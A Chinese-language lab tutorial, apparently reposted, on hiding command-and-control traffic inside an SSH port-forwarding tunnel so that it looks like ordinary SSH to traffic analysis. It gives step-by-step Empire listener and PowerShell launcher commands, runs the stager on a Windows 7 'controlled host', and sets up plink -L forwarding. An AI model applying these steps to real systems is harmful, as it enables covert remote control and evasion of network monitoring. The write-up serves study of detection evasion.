* 严正声明: 本文仅限于技术讨论与分享, 严禁用于非法途径.
一, 背景简介
在网络攻防博弈中, 网络流量特征分析类安全防御措施得到了广泛应用. 众多厂商和企业对网络流量进行恶意流量分析检测, 从而针对性的采取防御措施, 如各级 ISP 在骨干网络设备上大多采用网络流量分析检测的防御方案.
本文想通过标准的 SSH 的端口转发建立 SSH 形式的加密隧道, 用于加密, 隐蔽传输恶意流量, 从而避免通过流量检测发现恶意行为. 复现实验部分以 C&C 通信流量为例进入实验. 通过 SSH 隧道进行加密和隐藏的 C&C 流量在外部流量特征分析仅表现为标准 SSH 流量.
二, 实验原理
本次实验使用 Empire 工具快速搭建 C&C 信道, 本文只简要介绍对于 Empire 工具. 在 Windows 平台下使用 Plink.exe 工具的 SSH 功能搭建 SSH 隧道.
2.1 SSH 隧道介绍
SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据. 但是, SSH 还能够将其他 TCP 端口的网络数 据通过 SSH 链接来转发, 并且自动提供了相应的加密及解密服务. 这一过程也被叫做 "隧道"( tunneling), 这是因 为 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输而得名. SSH 隧道的实现主要使用 SSH 的参数配置进行端 口转发, 即将所需传输的数据内容通过加密的 SSH 隧道进行转发. SSH 端口转发能够提供两大功能: 1, 加密 SSH Client 端至 SSH Server 端之间的通讯数据. 2, 突破防火墙的限制完成一些之前无法建立的 TCP 连接.
由于 SSH 的安全性, 在数据跨越公网时其他人无法得知数据内容. SSH 端口转发有本地转发, 远程转发和动态端 口转发三种. 本次实验主要以本地转发为例. 本地转发主要使用 SSH 的 -L 参数解释:
(1) 第 1 部分,-L 选项表示使用 "本地转发" 建立 SSH 隧道."本地转发" 表示本地的某个端口上的通讯数据会被转发到目标主机的对应端口.
(2) 第 2 部分表示: 通讯数据会从本地的 9906 端口上被转发, 最终被转发到 10.1.0.2 的 3306 端口.
(3) 第 3 部分表示: 我们创建的 SSH 隧道是连接到 10.1.0.2 上的 root 用户.
2.2 Empire 工具简介
Empire 是一个针对 Windows 平台, 提供从 Stager 生成到提取和渗透维持一系列功能齐全的渗透攻击框架, 其最 大的特点是以 PowerShell 脚本作为攻击载荷, 而且 Empire 实现了无需 powershell.exe 就可运行 PowerShell 代理功 能, 即它是一个纯粹的 PowerShell 后期漏洞利用代理工具. 快速部署后期漏洞利用模块, 内置模块有键盘记录, Mimikatz, 绕过 UAC, 内网扫描等等, 并且能够适应通信躲避网络检测和大部分安全防护工具的查杀, 简单来说 Empire 类似于渗透神器 Metasploit, 是一个基于 PowerShell 的远程控制木马.
2.2 Empire 工具安装
在实验虚拟 Linux 系统中安装
- Git clone https://github.com/EmpireProject/Empire.git #进入 setup 目录进行命令行安装
- cd Empire
- cd setup
- sudo ./install.sh
安装成功后, 确认 Empire 目录下所有文件 (目录) 如下图:
使用 ./empire 启动 Empire 如下图, 则成功安装.
三, 实验步骤
实验说明: 使用两台虚拟机 ubuntu16 + Windows 7, 其中 ubuntu16 模拟控制端, Windows 7 模拟受控主机.
3.1 在 Ubuntu 系统上搭建 SSH 服务端
(1) 安装 Open-SSH Server 端
sudo apt-get install openssh-server
(2) 配置 SSH Server 端
编辑 / etc/SSH/sshd_config 文件中允许口令登录 PermitRootLogin 配置如下图:
(3) 测试 SSH 登录是否成功
查看本机 IP(Linux 命令: ifconfig), 如在 Windows 下的 XShell 工具下输入 Server IP 输入登录名和密码, 成功登入系统则 SSH Server 端搭建成功.
注: 需要重启 sshd 服务:/etc/init.d/SSH resar
(4) 配置 RSA 密钥对认证登录
a) 生成 rsa 密钥对
SSH-keygen -t rsa
b) 开启 sshd 支持 RSA 认证选项, 并添加认证公钥路径地址
c) 编辑 / etc/SSH/sshd_config 文件中的 PubkeyAuthentication 选项配置为 yes, 即:
d) 复制公钥到某用户 home 目录下的. SSH 文件夹下, 注必须使用以下命令在受控主机 (本次实验使用 win 7 进行模拟) 进行复制, 否则文件权限设置易出错.
SSH-copy-id -i id_rsa.pub 主机登录用户名 @192.168.81.137
e) 使用私钥进行登录 SSH 登录
SSH -i 私钥路径 主机登录用户名 @192.168.81.137
注: 使用 putty,winscp 等工具时需要先使用对应平台工具进行 rsa 私钥导入后转化为相对应文件格式, 如本次实验使用 putty 工具导入生成私钥文件 sshrsa.ppk.
3.2 使用 Empire 工具生成 PowerShell 脚本备用
Empire 工具类似 Metasploit, 详细使用教程可参考 一篇文章精通 PowerShell Empire .
本次实验使用 Empire 生成简单的 PowerShell 脚本, 建立最简单的 C&C 通信. 下面简单概括主要步骤.
(1) 设置监听
- listeners #进入的界面下可输入 list 查看以设置的监听
- uselistener http #输入 info 查看必填参数
- set Name 4444 #本次实验通过 SSH 隧道通信, 因此设置监听 127.0.0.1:4444
- set Port 4444
- set Host 127.0.0.1
- execute #创建命为 4444 的监听, 监听 127.0.0.1:4444 上通信数据
示例如下:
(2) 生成简单的 PowerShell 利用脚本(针对 Windows)
- launcher powershell 4444 # 4444 为设置的监听名字
- # 可进入 tagers 生成其他木马, 远控程序, 本次实验直接生成最简单 PowerShell 利用脚本
注: 生成的 Powershell 代码直接复制并保存, 以备在受控 Windows 主机 (win7,win10) 执行.
3.3 搭建 SSH 隧道
(1) Windows 下使用 Plink.exe(putty 工具集中可以在 Windows 系统下使用命令行进行 SSH 连接)连接 SSH
- Server
- # 需要首先进入 Plink.exe 文件所在路径
Plink.exe -SSH -l 登录用户名 -pw 登录密码 SSH 主机 IP
(2) Plink 相关参数
-SSH 指定使用特定连接协议
-l 指定登录用户名
-i 指定 RSA 私钥登录
-L 本地转发
(3) Plink 端口转发设计
plink.exe -SSH -i sshrsa.ppk am00n@192.168.81.137 -L 4444:192.168.81.137:4444
将本地端口 (4444) 转发到远程目标主机 (192.168.81.137) 的目标端口(4444).
注意: 以上命令执行成功后, 需要保持命令行不要关闭. 同时可以组合使用 SSH 的其他参数进行后台运行, 不交互等.
(4) 使用 (2) 中生成的 PowerShell 脚本, 使受控主机上线
a) Windows 7 虚拟机另外开启一个 CMD 窗口, 复制 PowerShell 脚本执行. 可以看到受控主机以上线.
5) Ubuntu 端切换到 agents 界面, list 命令查看如图:
6) 通过 interact 命令则可以使用以建立的控制信道控制受控主机, 如通过简单的 ls 命令测试成功如下图:
7) 至此以成功使用 SSH 隧道传输 C&C 通信流量, 后续可在此基础上设计实现其他 C&C 控制命令及其它恶意功能.
四, 总结
通过本次实验可以看出, 攻击者可以利用类似 SSH 的公共服务或可用技术辅助攻击, 且其实现也非常容易.
关键步骤总结 :
(1) 搭建 SSH 服务, 并配置为 RSA 私钥登录(也可以配置为免密登录).
(2) 使用工具 (如 Empire,Metasploit 等) 构建 C&C.
(3) 利用 SSH 的端口转发搭建 SSH 隧道.
(4) 配置 C&C 和 SSH 参数使二者配合实现加密, 隐藏恶意流量的目的.
本文思想源于 FreeBuf 大神 "興趣使然的小胃", 特此感谢.
来源: http://www.tuicool.com/articles/3ENj2mz